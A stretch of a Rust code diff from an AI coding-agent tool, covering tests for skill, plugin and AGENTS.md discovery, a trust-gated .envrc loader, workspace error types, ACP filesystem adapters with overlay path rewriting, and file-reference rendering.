serde_json::json!({
"rule": s.rule,
"reason": s.reason,
})
})
.collect();
serde_json::json!({
"sources": sources,
"loaded": resolved.config.rules.len(),
"skipped": skipped,
})
}
#[cfg(test)]
mod tests {
use super::*;
use std::fs;
// ---- Skill discovery tests ----
// Note: `list_skills` also discovers user-scoped skills from
// `~/.kigi/skills/`, so on a developer machine the result may be
// non-empty even for an empty workspace. Tests below check for
// specific skills rather than asserting emptiness.
#[tokio::test]
async fn discover_skills_finds_skill_md() {
let tmp = tempfile::tempdir().unwrap();
let skills_dir = tmp.path().join(".kigi").join("skills").join("my-skill");
fs::create_dir_all(&skills_dir).unwrap();
fs::write(
skills_dir.join("SKILL.md"),
"---\nname: my-skill\ndescription: A test skill\n---\n# Body\n",
)
.unwrap();
let skills = discover_skills(tmp.path(), &SkillsConfig::default()).await;
let found = skills
.iter()
.find(|s| s["name"].as_str() == Some("my-skill"));
assert!(found.is_some(), "should find my-skill");
let skill = found.unwrap();
assert_eq!(skill["description"].as_str(), Some("A test skill"));
}
#[tokio::test]
async fn discover_skills_respects_ignore_config() {
let tmp = tempfile::tempdir().unwrap();
let skills_dir = tmp.path().join(".kigi").join("skills").join("ignored");
fs::create_dir_all(&skills_dir).unwrap();
fs::write(
skills_dir.join("SKILL.md"),
"---\nname: ignored\ndescription: Ignored\n---\n",
)
.unwrap();
let config = SkillsConfig {
paths: vec![],
ignore: vec![tmp.path().to_string_lossy().to_string()],
disabled: vec![],
server_skill_dirs: vec![],
bundled_skill_dirs: vec![],
};
let skills = discover_skills(tmp.path(), &config).await;
let found = skills.iter().any(|s| s["name"].as_str() == Some("ignored"));
assert!(
!found,
"skill in ignore path should be filtered out of results"
);
}
#[tokio::test]
async fn discover_skills_returns_serialized_values() {
let tmp = tempfile::tempdir().unwrap();
let skills_dir = tmp
.path()
.join(".kigi")
.join("skills")
.join("serialized-check");
fs::create_dir_all(&skills_dir).unwrap();
fs::write(
skills_dir.join("SKILL.md"),
"---\nname: serialized-check\ndescription: Test serialization\n---\n",
)
.unwrap();
let skills = discover_skills(tmp.path(), &SkillsConfig::default()).await;
let found = skills
.iter()
.find(|s| s["name"].as_str() == Some("serialized-check"))
.expect("should find serialized-check");
// SkillInfo has these required fields when serialized
assert!(found["path"].is_string(), "path should be a string");
assert!(found["scope"].is_string(), "scope should be serialized");
}
// ---- AGENTS.md discovery tests ----
#[test]
fn agent_config_file_wire_matches_workspace_types_mirror() {
// The RPC serializes grok-build's AgentConfigFile and the remote
// consumer deserializes the workspace-types mirror; pin the cross-crate
// serde shape so a rename/attr drift on either side can't silently
// break discovery.
let src = kigi_agent::prompt::agents_md::AgentConfigFile {
file_name: "AGENTS.md".to_string(),
file_path: "/repo/AGENTS.md".to_string(),
content: "# Instructions\n".to_string(),
};
let json = serde_json::to_value(&src).unwrap();
let mirror: kigi_workspace_types::rpc::agents_md::AgentConfigFile =
serde_json::from_value(json.clone())
.expect("server shape must deserialize into mirror");
assert_eq!(mirror.file_name, src.file_name);
assert_eq!(mirror.file_path, src.file_path);
assert_eq!(mirror.content, src.content);
assert_eq!(
serde_json::to_value(&mirror).unwrap(),
json,
"mirror must serialize to the exact shape the server emits"
);
}
// Discovery also scans the real `~/.kigi`, so fixtures use test-unique names.
#[tokio::test]
async fn discover_agents_md_strips_rules_frontmatter() {
let tmp = tempfile::tempdir().unwrap();
let rules_dir = tmp.path().join(".kigi").join("rules");
fs::create_dir_all(&rules_dir).unwrap();
fs::write(
rules_dir.join("xyzzy-discover-agents-md-test.md"),
"---\nglobs: [\"*.rs\"]\n---\nUse tabs, not spaces.\n",
)
.unwrap();
let files = discover_agents_md(tmp.path()).await;
let rule = files
.iter()
.find(|f| {
f["file_path"]
.as_str()
.is_some_and(|p| p.ends_with("/.kigi/rules/xyzzy-discover-agents-md-test.md"))
})
.expect("should discover the rules file");
let content = rule["content"].as_str().unwrap();
assert!(
content.contains("Use tabs, not spaces."),
"rule body must survive: {content}"
);
assert!(
!content.contains("globs:"),
"YAML frontmatter must be stripped: {content}"
);
}
#[tokio::test]
async fn discover_agents_md_keeps_non_rules_frontmatter() {
let tmp = tempfile::tempdir().unwrap();
fs::write(
tmp.path().join("AGENTS.md"),
"---\nXYZZY_LEADING_DASHES_MARKER\n---\nBody after horizontal rules.\n",
)
.unwrap();
let files = discover_agents_md(tmp.path()).await;
let agents = files
.iter()
.find(|f| {
f["content"]
.as_str()
.is_some_and(|c| c.contains("XYZZY_LEADING_DASHES_MARKER"))
})
.expect("should discover the AGENTS.md with its leading dashes intact");
let content = agents["content"].as_str().unwrap();
assert!(
content.starts_with("---\n"),
"stripping must be rules-files-only: {content}"
);
}
// ---- Plugin discovery tests ----
// Note: `discover_plugins` also discovers user-scoped plugins
// from `~/.kigi/plugins/`, so tests check for specific plugins.
#[test]
fn discover_plugins_finds_manifest_plugin() {
let tmp = tempfile::tempdir().unwrap();
let plugins_dir = tmp.path().join(".kigi").join("plugins").join("test-plugin");
fs::create_dir_all(&plugins_dir).unwrap();
fs::write(
plugins_dir.join("plugin.json"),
r#"{"name": "test-plugin"}"#,
)
.unwrap();
// Plugin needs at least one component to be recognized
fs::create_dir_all(plugins_dir.join("skills")).unwrap();
let trust = PluginTrustStore::load_from(tmp.path().join("trust"));
let config = PluginDiscoveryConfig::default();
let plugins = discover_plugins(tmp.path(), &config, &trust, true);
let found = plugins
.iter()
.find(|p| p["name"].as_str() == Some("test-plugin"));
assert!(found.is_some(), "should find test-plugin");
let p = found.unwrap();
assert_eq!(p["scope"].as_str(), Some("project"));
assert_eq!(p["has_skills"].as_bool(), Some(true));
}
#[test]
fn discover_plugins_json_has_expected_fields() {
let tmp = tempfile::tempdir().unwrap();
let plugins_dir = tmp.path().join(".kigi").join("plugins").join("field-test");
fs::create_dir_all(plugins_dir.join("skills")).unwrap();
fs::write(
plugins_dir.join("plugin.json"),
r#"{"name": "field-test", "version": "1.0.0", "description": "Test plugin"}"#,
)
.unwrap();
let trust = PluginTrustStore::load_from(tmp.path().join("trust"));
let config = PluginDiscoveryConfig::default();
let plugins = discover_plugins(tmp.path(), &config, &trust, true);
let p = plugins
.iter()
.find(|p| p["name"].as_str() == Some("field-test"))
.expect("should find field-test");
assert_eq!(p["version"].as_str(), Some("1.0.0"));
assert_eq!(p["description"].as_str(), Some("Test plugin"));
assert!(p["id"].is_string());
assert!(p["root"].is_string());
assert!(p["trusted"].is_boolean());
assert!(p["has_hooks"].is_boolean());
assert!(p["has_mcp"].is_boolean());
assert!(p["has_lsp"].is_boolean());
assert!(p["has_agents"].is_boolean());
assert!(p["has_skills"].is_boolean());
}
// ---- Project config tests ----
#[test]
fn load_project_config_missing_file_returns_null() {
let tmp = tempfile::tempdir().unwrap();
let config = load_project_config(tmp.path());
assert_eq!(config, Value::Null, "missing config → Null");
}
#[test]
fn load_project_config_reads_toml_as_json() {
let tmp = tempfile::tempdir().unwrap();
let grok_dir = tmp.path().join(".kigi");
fs::create_dir_all(&grok_dir).unwrap();
fs::write(
grok_dir.join("config.toml"),
"[skills]\npaths = [\"/extra/skills\"]\n\n[plugins]\ndisabled = [\"noisy-plugin\"]\n",
)
.unwrap();
let config = load_project_config(tmp.path());
assert!(config.is_object(), "parsed config should be an object");
assert!(
config["skills"]["paths"].is_array(),
"skills.paths should be an array"
);
assert_eq!(config["skills"]["paths"][0].as_str(), Some("/extra/skills"));
assert_eq!(
config["plugins"]["disabled"][0].as_str(),
Some("noisy-plugin")
);
}
// ---- toml_to_json tests ----
#[test]
fn toml_to_json_basic_types() {
let toml_val: toml::Value =
toml::from_str("s = \"hello\"\ni = 42\nf = 3.14\nb = true\n").unwrap();
let json = toml_to_json(&toml_val);
assert_eq!(json["s"], "hello");
assert_eq!(json["i"], 42);
assert_eq!(json["b"], true);
}
#[test]
fn toml_to_json_nested_table() {
let toml_val: toml::Value = toml::from_str("[section]\nkey = \"value\"\n").unwrap();
let json = toml_to_json(&toml_val);
assert_eq!(json["section"]["key"], "value");
}
#[test]
fn toml_to_json_array() {
let toml_val: toml::Value = toml::from_str("items = [1, 2, 3]\n").unwrap();
let json = toml_to_json(&toml_val);
assert_eq!(json["items"][0], 1);
assert_eq!(json["items"][2], 3);
}
// ---- Permissions tests ----
// Note: `resolve_permissions_with_provenance` checks system-managed
// settings and requirements.toml from the global config, so on a
// developer machine with Grok installed it may return non-Null even
// for a temp directory. Both branches assert a concrete condition.
#[tokio::test]
async fn load_permissions_returns_valid_json() {
let tmp = tempfile::tempdir().unwrap();
let result = load_permissions(tmp.path()).await;
// Result is either Null (no sources) or an object with
// sources, loaded, and skipped fields. Both branches assert
// a definite pass criterion.
if result.is_null() {
// No permission sources on this machine — Null is correct.
assert_eq!(result, Value::Null, "expected Null for empty workspace");
} else {
assert!(result["sources"].is_array(), "sources should be an array");
assert!(result["loaded"].is_number(), "loaded should be a number");
assert!(result["skipped"].is_array(), "skipped should be an array");
}
}
#[tokio::test]
async fn load_permissions_with_settings_file_returns_object() {
let tmp = tempfile::tempdir().unwrap();
// Create a minimal .claude/settings.json with a permission rule
// so the test always exercises the non-null path.
let claude_dir = tmp.path().join(".claude");
fs::create_dir_all(&claude_dir).unwrap();
fs::write(
claude_dir.join("settings.json"),
r#"{"permissions":{"allow":["Bash(git status)"]}}"#,
)
.unwrap();
let result = load_permissions(tmp.path()).await;
assert!(result.is_object(), "should return an object, got {result}");
assert!(result["sources"].is_array(), "sources should be an array");
assert!(result["loaded"].is_number(), "loaded should be a number");
assert!(result["skipped"].is_array(), "skipped should be an array");
assert!(
result["loaded"].as_u64().unwrap_or(0) >= 1,
"should have at least one loaded rule"
);
}
}
+285
View File
@@ -0,0 +1,285 @@
//! Parse .envrc files and extract environment variables.
//!
//! This module provides a way to load environment variables from `.envrc` files.
//! It uses a two-tier approach:
//!
//! 1. **Try `direnv export json`** - If direnv is installed, use it for full compatibility
//! 2. **Fallback to bash** - Run .envrc in a bash subshell with direnv stubs
//!
//! This approach handles:
//! - Variable expansion ($HOME, ${VAR:-default})
//! - Command substitution ($(git rev-parse ...))
//! - Conditional logic (if/then/else)
//! - direnv helper functions (source_up_if_exists, PATH_add, etc.)
use std::collections::HashMap;
use std::path::Path;
use std::process::Command;
/// Stub implementations of common direnv helper functions.
/// These are prepended to the .envrc before execution when direnv is not available.
const DIRENV_STUBS: &str = r#"
# Stub direnv helper functions
source_up_if_exists() { :; }
source_up() { :; }
source_env_if_exists() {
if [ -f "$1" ]; then
. "$1"
fi
}
source_env() {
if [ -f "$1" ]; then
. "$1"
fi
}
PATH_add() {
export PATH="$PWD/$1:$PATH"
}
path_add() {
PATH_add "$@"
}
layout() { :; }
use() { :; }
watch_file() { :; }
"#;
/// Load environment variables from .envrc file in the given directory.
///
/// Returns a HashMap of environment variables that were set/modified by the .envrc.
/// Returns None if no .envrc exists or if parsing fails.
pub fn load_envrc(dir: &Path) -> Option<HashMap<String, String>> {
let envrc_path = dir.join(".envrc");
if !envrc_path.exists() {
tracing::debug!(?dir, ".envrc not found");
return None;
}
// Try direnv first (most reliable if installed)
if let Some(env) = try_direnv_export(dir) {
return Some(env);
}
// Fall back to bash subshell approach
load_envrc_via_bash(dir)
}
/// Try to use `direnv export json` to load environment variables.
/// Returns None if direnv is not installed or fails.
fn try_direnv_export(dir: &Path) -> Option<HashMap<String, String>> {
let mut cmd = Command::new("direnv");
cmd.args(["export", "json"])
.current_dir(dir)
.stdin(std::process::Stdio::null());
kigi_tools::util::detach_std_command(&mut cmd);
let output = cmd.output().ok()?;
if !output.status.success() {
// direnv not allowed, or other error
let stderr = String::from_utf8_lossy(&output.stderr);
if !stderr.contains("not allowed") {
tracing::debug!(?dir, %stderr, "direnv export failed");
}
return None;
}
let stdout = String::from_utf8_lossy(&output.stdout);
if stdout.trim().is_empty() {
// No changes from direnv
return None;
}
// Parse JSON output: {"VAR": "value", ...}
// Note: direnv also outputs null for vars to unset, but we ignore those
match serde_json::from_str::<HashMap<String, serde_json::Value>>(&stdout) {
Ok(json) => {
let env: HashMap<String, String> = json
.into_iter()
.filter_map(|(k, v)| {
if let serde_json::Value::String(s) = v {
Some((k, s))
} else {
None // Skip null values (unset)
}
})
.collect();
if env.is_empty() {
None
} else {
tracing::info!(?dir, count = env.len(), "Loaded environment via direnv");
Some(env)
}
}
Err(e) => {
tracing::warn!(?dir, ?e, "Failed to parse direnv JSON output");
None
}
}
}
/// Load environment by running .envrc in a bash subshell.
/// This is the fallback when direnv is not installed.
fn load_envrc_via_bash(dir: &Path) -> Option<HashMap<String, String>> {
let envrc_path = dir.join(".envrc");
// Build a script that:
// 1. Includes direnv stubs
// 2. Sources the .envrc
// 3. Outputs all env vars as KEY=VALUE pairs (null-separated for safety)
let script = format!(
r#"
set -e
cd "{dir}"
{stubs}
. "{envrc}"
# Output all environment variables, null-separated
env -0
"#,
dir = dir.display(),
stubs = DIRENV_STUBS,
envrc = envrc_path.display(),
);
// Capture baseline environment (before running .envrc)
let baseline: HashMap<String, String> = std::env::vars().collect();
// Run the script and capture output
let mut bash_cmd = Command::new("/bin/bash");
bash_cmd
.arg("-c")
.arg(&script)
.current_dir(dir)
.stdin(std::process::Stdio::null());
kigi_tools::util::detach_std_command(&mut bash_cmd);
let output = bash_cmd.output();
let output = match output {
Ok(o) if o.status.success() => o,
Ok(_) => {
tracing::warn!(?envrc_path, "Failed to execute .envrc via bash");
return None;
}
Err(e) => {
tracing::warn!(?envrc_path, ?e, "Failed to run bash for .envrc");
return None;
}
};
// Parse the null-separated KEY=VALUE pairs
let stdout = String::from_utf8_lossy(&output.stdout);
let mut result: HashMap<String, String> = HashMap::new();
for entry in stdout.split('\0') {
if entry.is_empty() {
continue;
}
if let Some((key, value)) = entry.split_once('=') {
// Skip internal/noise variables
let ignored_keys = ["_", "SHLVL", "PWD", "OLDPWD"];
if ignored_keys.contains(&key) {
continue;
}
// Only include vars that are new or changed from baseline
match baseline.get(key) {
Some(baseline_value) if baseline_value == value => {
// Unchanged, skip
}
_ => {
// New or changed
result.insert(key.to_string(), value.to_string());
}
}
}
}
if result.is_empty() {
tracing::debug!(?envrc_path, "No environment changes from .envrc");
None
} else {
tracing::info!(
?envrc_path,
count = result.len(),
"Loaded environment from .envrc via bash"
);
Some(result)
}
}
/// Load .envrc and return the environment, or empty HashMap on failure.
pub fn load_envrc_or_empty(dir: &Path) -> HashMap<String, String> {
load_envrc(dir).unwrap_or_default()
}
/// [`load_envrc_or_empty`] gated on folder-trust: loads the repo-local `.envrc`
/// (executed in a bash subshell) only when `trusted`, else returns an empty map.
/// The shell call sites pass the `project_scope_allowed` verdict so the "run a
/// cloned repo's `.envrc` only when the folder is trusted" rule lives in ONE
/// place (mirrors `permission::claude_settings::load_claude_env_with_project`).
pub fn load_envrc_or_empty_when_trusted(dir: &Path, trusted: bool) -> HashMap<String, String> {
if trusted {
load_envrc_or_empty(dir)
} else {
HashMap::new()
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::fs;
use tempfile::TempDir;
#[test]
fn test_simple_export() {
let dir = TempDir::new().unwrap();
fs::write(dir.path().join(".envrc"), "export FOO=bar\n").unwrap();
let env = load_envrc(dir.path()).unwrap();
assert_eq!(env.get("FOO"), Some(&"bar".to_string()));
}
#[test]
fn test_variable_expansion() {
let dir = TempDir::new().unwrap();
fs::write(dir.path().join(".envrc"), "export MY_DIR=$PWD/subdir\n").unwrap();
let env = load_envrc(dir.path()).unwrap();
let expected = format!("{}/subdir", dir.path().display());
assert_eq!(env.get("MY_DIR"), Some(&expected));
}
#[test]
fn test_no_envrc() {
let dir = TempDir::new().unwrap();
assert!(load_envrc(dir.path()).is_none());
}
#[test]
fn test_path_add() {
let dir = TempDir::new().unwrap();
fs::write(dir.path().join(".envrc"), "PATH_add bin\n").unwrap();
let env = load_envrc(dir.path()).unwrap();
let path = env.get("PATH").unwrap();
assert!(path.contains(&format!("{}/bin", dir.path().display())));
}
#[test]
fn test_conditional() {
let dir = TempDir::new().unwrap();
fs::write(
dir.path().join(".envrc"),
r#"
if [ -d "$PWD" ]; then
export EXISTS=yes
else
export EXISTS=no
fi
"#,
)
.unwrap();
let env = load_envrc(dir.path()).unwrap();
assert_eq!(env.get("EXISTS"), Some(&"yes".to_string()));
}
}
@@ -0,0 +1,86 @@
//! Workspace error types.
use crate::capability::CapabilityMode;
/// Errors surfaced by the workspace public API.
///
/// `#[non_exhaustive]` so adding new variants is a non-breaking change.
/// Tests should match on variants rather than scrape the `Display` text.
#[derive(Debug, thiserror::Error)]
#[non_exhaustive]
pub enum WorkspaceError {
#[error("parent session not found: {0}")]
ParentSessionNotFound(String),
#[error("session not found: {0}")]
SessionNotFound(String),
#[error("session already exists: {0}")]
SessionAlreadyExists(String),
#[error("agent_id must be non-empty")]
EmptyAgentId,
#[error("the main session cannot be dropped")]
CannotDropMainSession,
#[error("toolset finalization failed: {0}")]
Finalize(String),
#[error("capability widening rejected: child {child:?} is not a subset of parent {parent:?}")]
CapabilityWidening {
parent: CapabilityMode,
child: CapabilityMode,
},
#[error("session {caller:?} is not authorised to operate on session {target:?}")]
Unauthorized { caller: String, target: String },
/// A toolset mutation was rejected because the target session has an
/// active turn. Retryable at the turn boundary (`after_turn`).
#[error("turn active for session {0}; retry the tool-config update at the turn boundary")]
TurnActive(String),
#[error("maximum fork depth exceeded for parent session {parent:?}")]
MaxDepthExceeded { parent: String },
#[error("internal task failure: {0}")]
JoinError(String),
#[error("invalid hunk action: {0}")]
InvalidHunkAction(String),
#[error("hunk action failed: {0}")]
HunkActionFailed(String),
/// An error from the server connection or tool server.
#[error("hub error: {0}")]
HubError(String),
/// Deploy-service error tagged with its gRPC status class; see
/// [`DeployError`] for how the class crosses the workspace RPC boundary.
///
/// [`DeployError`]: kigi_workspace_types::rpc::deploy::DeployError
#[error("deploy error: {message}")]
DeployError {
kind: kigi_workspace_types::rpc::deploy::DeployError,
message: String,
},
/// The workspace is draining/shutting down and is no longer accepting new
/// sessions. Surfaced when a `bind`/create races a terminal drain so the
/// shared upload queue is never torn down out from under a fresh session.
#[error("workspace is shutting down; not accepting new sessions")]
ShuttingDown,
/// The session's toolset is externally owned — installed by a local
/// (shell) bind, its `Terminal` resource is not the session-owned
/// backend — so an RPC-driven toolset mutation is refused instead of
/// silently skipped. Hard error: retrying cannot succeed while the
/// local bind holds the toolset.
#[error("toolset externally owned (local bind), mutation refused: {0}")]
ToolsetExternallyOwned(String),
}
/// Convenience alias for the workspace's primary `Result` type.
pub type WorkspaceResult<T> = Result<T, WorkspaceError>;
@@ -0,0 +1,179 @@
use crate::file_system::{AsyncFileSystem, FsError};
use agent_client_protocol as acp;
use kigi_acp_lib::AcpAgentGatewaySender as GatewaySender;
use std::path::{Path, PathBuf};
pub struct AcpSessionFs {
root: PathBuf,
gateway: GatewaySender,
session_id: acp::SessionId,
/// When set, any path under `display_cwd` is rewritten to `root` before
/// being sent to the extension. This is the defense-in-depth guard for
/// AB overlay isolation: if a tool accidentally passes the display path
/// (e.g., `/testbed/project/foo.rs`) instead of the overlay path
/// (`~/.kigi/worktrees/.../b-overlay/foo.rs`), the adapter rewrites it
/// so the extension reads/writes to the correct overlay location.
display_cwd: Option<PathBuf>,
}
impl AcpSessionFs {
pub fn new(root: PathBuf, session_id: acp::SessionId, gateway: GatewaySender) -> Self {
Self {
root,
session_id,
gateway,
display_cwd: None,
}
}
/// Set the display CWD for path rewriting.
///
/// When AB FS isolation is active, the model sees `display_cwd`
/// (e.g., `/testbed/project`) but writes should go to `root`
/// (the overlay path). Any path under `display_cwd` is rewritten
/// to the equivalent path under `root`.
pub fn with_display_cwd(mut self, display_cwd: PathBuf) -> Self {
self.display_cwd = Some(display_cwd);
self
}
/// Rewrite a display path to the overlay path if needed.
fn resolve_path(&self, path: &Path) -> PathBuf {
if let Some(ref display) = self.display_cwd
&& let Ok(suffix) = path.strip_prefix(display)
{
let resolved = self.root.join(suffix);
tracing::debug!(
display_path = %path.display(),
resolved_path = %resolved.display(),
"AcpSessionFs: rewrote display path to overlay path"
);
return resolved;
}
path.to_path_buf()
}
}
#[async_trait::async_trait]
impl AsyncFileSystem for AcpSessionFs {
fn root(&self) -> &Path {
&self.root
}
async fn exists(&self, path: &Path) -> Result<bool, FsError> {
let resolved = self.resolve_path(path);
let read_req = acp::ReadTextFileRequest::new(self.session_id.clone(), resolved).limit(0);
match self.gateway.send(read_req).await {
Ok(_) => Ok(true),
Err(e) if e.code == acp::ErrorCode::ResourceNotFound => Ok(false),
Err(e) => Err(FsError::Other(e.to_string())),
}
}
async fn read_file(&self, path: &Path) -> Result<Vec<u8>, FsError> {
let resolved = self.resolve_path(path);
let read_req = acp::ReadTextFileRequest::new(self.session_id.clone(), resolved);
let response = self
.gateway
.send(read_req)
.await
.map_err(|e| FsError::Other(e.to_string()))?;
Ok(response.content.into_bytes())
}
async fn try_read_file(&self, path: &Path) -> Result<Option<Vec<u8>>, FsError> {
let resolved = self.resolve_path(path);
let read_req = acp::ReadTextFileRequest::new(self.session_id.clone(), resolved);
match self.gateway.send(read_req).await {
Ok(response) => Ok(Some(response.content.into_bytes())),
Err(e) if e.code == acp::ErrorCode::ResourceNotFound => Ok(None),
Err(e) => Err(FsError::Other(e.to_string())),
}
}
async fn write_file(&self, path: &Path, data: &[u8]) -> Result<(), FsError> {
let resolved = self.resolve_path(path);
let write_req = acp::WriteTextFileRequest::new(
self.session_id.clone(),
resolved,
String::from_utf8(data.to_vec()).map_err(|e| FsError::Other(e.to_string()))?,
);
self.gateway
.send(write_req)
.await
.map_err(|e| FsError::Other(e.to_string()))?;
Ok(())
}
async fn delete_file(&self, path: &Path) -> Result<(), FsError> {
// ACP protocol doesn't support file deletion yet
// For now, we'll log a warning and return Ok (no-op)
tracing::warn!(?path, "ACP filesystem does not support file deletion");
Err(FsError::Other(
"File deletion not supported via ACP".to_string(),
))
}
}
#[cfg(test)]
mod tests {
use super::*;
// resolve_path only uses self.root and self.display_cwd — extract
// the logic into a standalone test helper that doesn't need a gateway.
fn test_resolve(root: &str, display_cwd: Option<&str>, input: &str) -> PathBuf {
let root = PathBuf::from(root);
let display = display_cwd.map(PathBuf::from);
// Inline the same logic as resolve_path
if let Some(ref display) = display
&& let Ok(suffix) = Path::new(input).strip_prefix(display)
{
return root.join(suffix);
}
PathBuf::from(input)
}
#[test]
fn resolve_path_rewrites_display_to_overlay() {
let result = test_resolve(
"/root/.kigi/worktrees/proj/ab-123-b-overlay",
Some("/testbed/proj"),
"/testbed/proj/src/main.rs",
);
assert_eq!(
result,
PathBuf::from("/root/.kigi/worktrees/proj/ab-123-b-overlay/src/main.rs")
);
}
#[test]
fn resolve_path_passes_through_overlay_path() {
let overlay_path = "/root/.kigi/worktrees/proj/ab-123-b-overlay/src/main.rs";
let result = test_resolve(
"/root/.kigi/worktrees/proj/ab-123-b-overlay",
Some("/testbed/proj"),
overlay_path,
);
assert_eq!(result, PathBuf::from(overlay_path));
}
#[test]
fn resolve_path_no_display_cwd_passthrough() {
let result = test_resolve(
"/root/.kigi/worktrees/proj/ab-123-b-overlay",
None,
"/testbed/proj/src/main.rs",
);
assert_eq!(result, PathBuf::from("/testbed/proj/src/main.rs"));
}
#[test]
fn resolve_path_relative_path_passthrough() {
let result = test_resolve(
"/root/.kigi/worktrees/proj/ab-123-b-overlay",
Some("/testbed/proj"),
"src/main.rs",
);
assert_eq!(result, PathBuf::from("src/main.rs"));
}
}
@@ -0,0 +1,89 @@
//! AcpFsAdapter: implements `kigi-tools::AsyncFileSystem` using ACP gateway calls.
//!
//! This adapter enables file tool execution over ACP (remote filesystem).
//! It translates kigi-tools' `AsyncFileSystem` trait into ACP protocol calls:
//! `read_file()` → read_text_file
//! `write_file()` → write_text_file
//! `delete_file()` → not supported by ACP (returns error)
//!
//! Mirrors the pattern of `AcpTerminalAdapter` for terminal execution.
use std::path::Path;
use agent_client_protocol as acp;
use kigi_acp_lib::AcpAgentGatewaySender as GatewaySender;
use kigi_tools::computer::types::{AsyncFileSystem, ComputerError};
/// Wraps kigi-shell's ACP gateway to satisfy kigi-tools' AsyncFileSystem.
///
/// When a client advertises `clientCapabilities.fs.readTextFile` and `writeTextFile`,
/// file operations from tools (read_file, search_replace, etc.) are routed through
/// the ACP gateway back to the client instead of hitting the local disk directly.
pub struct AcpFsAdapter {
gateway: GatewaySender,
session_id: acp::SessionId,
}
impl AcpFsAdapter {
pub fn new(gateway: GatewaySender, session_id: acp::SessionId) -> Self {
Self {
gateway,
session_id,
}
}
}
#[async_trait::async_trait]
impl AsyncFileSystem for AcpFsAdapter {
async fn read_file(&self, path: &Path) -> Result<Vec<u8>, ComputerError> {
let read_req = acp::ReadTextFileRequest::new(self.session_id.clone(), path.to_path_buf());
let response = self
.gateway
.send(read_req)
.await
.map_err(acp_error_to_computer_error)?;
Ok(response.content.into_bytes())
}
async fn write_file(&self, path: &Path, data: &[u8]) -> Result<(), ComputerError> {
let content =
String::from_utf8(data.to_vec()).map_err(|e| ComputerError::io(e.to_string()))?;
let write_req =
acp::WriteTextFileRequest::new(self.session_id.clone(), path.to_path_buf(), content);
self.gateway
.send(write_req)
.await
.map_err(acp_error_to_computer_error)?;
Ok(())
}
async fn delete_file(&self, path: &Path) -> Result<(), ComputerError> {
// ACP protocol doesn't support file deletion yet
tracing::warn!(?path, "ACP filesystem does not support file deletion");
Err(ComputerError::io("File deletion not supported via ACP"))
}
}
fn acp_error_to_computer_error(err: acp::Error) -> ComputerError {
match acp_error_to_io_kind(&err) {
Some(kind) => ComputerError::io_with_kind(err.to_string(), kind),
None => ComputerError::io(err.to_string()),
}
}
fn acp_error_to_io_kind(err: &acp::Error) -> Option<std::io::ErrorKind> {
let msg_lower = err.message.to_ascii_lowercase();
if err.code == acp::ErrorCode::ResourceNotFound {
Some(std::io::ErrorKind::NotFound)
} else if msg_lower.contains("permission denied") {
Some(std::io::ErrorKind::PermissionDenied)
} else {
None
}
}
@@ -0,0 +1,540 @@
//! Contains utility functions to attach file content and render it according to the
//! training format we have been using
use agent_client_protocol::{BlobResourceContents, EmbeddedResource, EmbeddedResourceResource};
use base64::{Engine as _, engine::general_purpose};
use kigi_tools::util::truncate::estimate_tokens;
use regex::Regex;
use sha2::{Digest, Sha256};
use std::path::PathBuf;
use tracing::warn;
#[cfg(test)]
mod persistence {
use std::path::PathBuf;
pub fn session_dir(_suffix: &str) -> PathBuf {
super::session_scratch_root()
}
}
/// Maximum number of estimated tokens for a file to be included inline.
/// Files exceeding this limit are represented as a metadata-only stub so the
/// model knows the file exists without blowing up the context window.
const MAX_FILE_TOKENS: usize = 5_000;
/// 8-char content hash for dedup + collision avoidance.
fn content_hash(content: &[u8]) -> String {
format!("{:x}", Sha256::digest(content))[..8].to_string()
}
/// Parsed file reference with optional line range.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct FileReference {
pub path: PathBuf,
/// 1-indexed start line (inclusive)
pub start_line: Option<usize>,
/// 1-indexed end line (inclusive)
pub end_line: Option<usize>,
}
impl FileReference {
/// Parse a file reference string in the format `@{file_path}` or `@{file_path}:L?{start_line}-L?{end_line}`.
pub fn parse(input: &str) -> Option<Self> {
let re = Regex::new(r"^@?([^@].*?)(?::L?(\d+)-L?(\d+))?$").ok()?;
let caps = re.captures(input)?;
let path = PathBuf::from(caps.get(1)?.as_str());
let start_line: Option<usize> = caps.get(2).and_then(|m| m.as_str().parse().ok());
let end_line: Option<usize> = caps.get(3).and_then(|m| m.as_str().parse().ok());
Some(Self {
path,
start_line,
end_line,
})
}
}
/// Render file content from a `FileReference`.
///
/// When `is_cursor` is true, renders `<code_selection path="..." lines="X-Y">` format.
/// When `is_cursor` is false, renders the original `<file_contents path="..." startLine/endLine/isFullFile>` format.
///
/// If the rendered content exceeds [`MAX_FILE_TOKENS`] estimated tokens the
/// full body is omitted and a metadata-only stub is returned instead so the
/// model still knows the file exists.
pub async fn render_file_reference(file_ref: FileReference, is_cursor: bool) -> Option<String> {
let read_file = tokio::fs::read(&file_ref.path).await;
let file_content = if let Ok(read_file_output) = read_file {
String::from_utf8(read_file_output).ok()
} else {
None
};
let path = file_ref.path.to_string_lossy();
let start_line = file_ref.start_line;
let end_line = file_ref.end_line;
file_content
.map(|file_content| {
let lines: Vec<&str> = file_content.lines().collect();
let line_offset = start_line.unwrap_or(1);
let start_idx = (line_offset.saturating_sub(1)).min(lines.len());
let end_idx = end_line.unwrap_or(lines.len()).min(lines.len());
let sliced_lines = &lines[start_idx..end_idx];
let file_content = sliced_lines
.iter()
.enumerate()
.map(|(line_number, content)| {
format!("{}→{content}", line_offset + line_number)
})
.collect::<Vec<_>>()
.join("\n");
let _ = is_cursor;
let attrs = match (start_line, end_line) {
(Some(s), Some(e)) => format!(r#"startLine="{}" endLine="{}""#, s, e),
_ => r#"isFullFile="true""#.to_string(),
};
if estimate_tokens(&file_content) > MAX_FILE_TOKENS {
return format!(
r#"<file_contents path="{path}" {attrs} skipped="true" reason="file too large (~{} estimated tokens, limit {MAX_FILE_TOKENS}). Use read_file tool to read specific sections."/>"#,
estimate_tokens(& file_content),
);
}
format!(
r#"<file_contents path="{path}" {attrs}>
{file_content}
</file_contents>"#
)
})
}
const FILE_REGEX: &str = r"^(?:file://)?([^#]+)(?:#L(\d+)-L?(\d+))?$";
/// Render an ACP EmbeddedResource.
///
/// When `is_cursor` is true, renders `<code_selection>` tags. Otherwise uses `<file_contents>`.
/// Parses URIs in the format: `file://[path]#L[start]-[end]` or `file://[path]#L[start]-L[end]`
///
/// When content exceeds [`MAX_FILE_TOKENS`], the text is written to
/// `~/.kigi/sessions/{cwd}/{session_id}/pasted/` so the model can `read_file`
/// specific sections instead of receiving the full content inline.
///
/// Binary blob resources are written to `attachments/` and a path hint is returned.
pub async fn render_embedded_resource(
